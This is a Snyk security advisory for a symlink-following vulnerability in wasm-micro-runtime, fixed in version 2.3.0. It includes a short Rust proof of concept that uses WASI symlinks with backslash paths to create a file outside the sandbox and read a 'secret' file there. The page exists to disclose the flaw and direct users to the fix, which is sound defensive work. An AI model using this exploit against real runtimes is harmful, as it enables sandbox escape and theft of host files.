Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade bytecodealliance/wasm-micro-runtime
to version 2.3.0 or higher.
Affected versions of this package are vulnerable to UNIX Symbolic Link (Symlink) Following via the symlink creation process. An attacker can create or modify files outside of the intended sandboxed directory by creating a symlink that points to an external directory or file.
Note: This is only exploitable if the system is configured to allow symlink creation without proper validation.
use wasi::{Iovec, OFLAGS_CREAT, RIGHTS_FD_READ, RIGHTS_FD_WRITE};
fn main() {
let base_fd = 3;
unsafe {
// Link containing backslash is ok.
wasi::path_symlink("..\\f", base_fd, "l0").unwrap();
// Link pointing to an existing file outside of sandbox.
wasi::path_symlink("..\\secret", base_fd, "l1").unwrap();
// Opening l0 creates a file outside of sandbox `f`.
wasi::path_open(base_fd, 0, "l0", OFLAGS_CREAT, RIGHTS_FD_WRITE, 0, 0).unwrap();
// Opening l1 opens an existing file outside of sandbox.
let secret_fd = wasi::path_open(base_fd, 0, "l1", 0, RIGHTS_FD_READ, 0, 0).unwrap();
let mut buf = [0u8; 32];
let iovs = [Iovec {
buf: buf.as_mut_ptr(),
buf_len: buf.len(),
}];
wasi::fd_read(secret_fd, &iovs).unwrap();
println!("secret: {:?}", buf);
}
}